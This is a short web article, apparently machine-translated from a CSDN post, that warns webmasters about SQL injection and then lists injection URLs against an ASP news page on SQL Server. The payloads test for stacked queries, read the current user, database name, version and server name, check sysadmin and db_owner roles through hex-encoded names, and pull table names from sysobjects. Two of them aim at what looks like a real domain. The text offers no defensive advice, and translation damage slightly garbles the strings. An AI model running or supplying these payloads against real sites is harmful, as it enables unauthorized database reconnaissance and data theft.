Webmasters pay attention to some common SQL Injection statements

Webmasters pay attention to some common SQL Injection statements

Author: aivii Source: csdn

Multi-sentence query supported?
Http://www.xxx.com/shownews.asp? Id = 51 declare @ A int --

Support for subqueries
Http://www.xxx.com/shownews.asp? Id = 51 and (select count (1) from [sysobjects])> = 0

Return Username
Http://www.xxx.com/shownews.asp? Id = 51 and user % 2 bchar (124) = 0

Whether the current user is a member of the SysAdmin fixed server role.
Http://www.xxx.com/shownews.asp? Id = 51 and cast (is_srvrolemember (0x730079007300610064006d0069006e00) as varchar (1) % 2 bchar (124) = 1

PS: 0x730079007300610064006d0069006e00 = SysAdmin

Whether the current user is a member of the db_owner fixed database role
Http://www.xxx.com/shownews.asp? Id = 51 and cast (is_member (0x640062005f006f0077006e0065007200) as varchar (1) % 2 bchar (124) = 1

0x640062005f006f0077006e0065007200 = db_owner

Returned Database Name
Http://www.xxx.com/shownews.asp? Id = 51 and db_name () % 2 bchar (124) = 0

Operating System and sqlserver version
Http://www.99568.com/shownews.asp? Id = 51 and @ version = 1

Local server name
Http://www.99568.com/shownews.asp? Id = 51 and @ servername = 1

Http://www.xxx.com.cn/Content.asp? Newsid = 1077 and (select top 1 cast (name as varchar (8000) from (select top 1 ID, name from sysobjects where xtype = char (85) order by ID) t order by id desc)> 0 -- name of the first table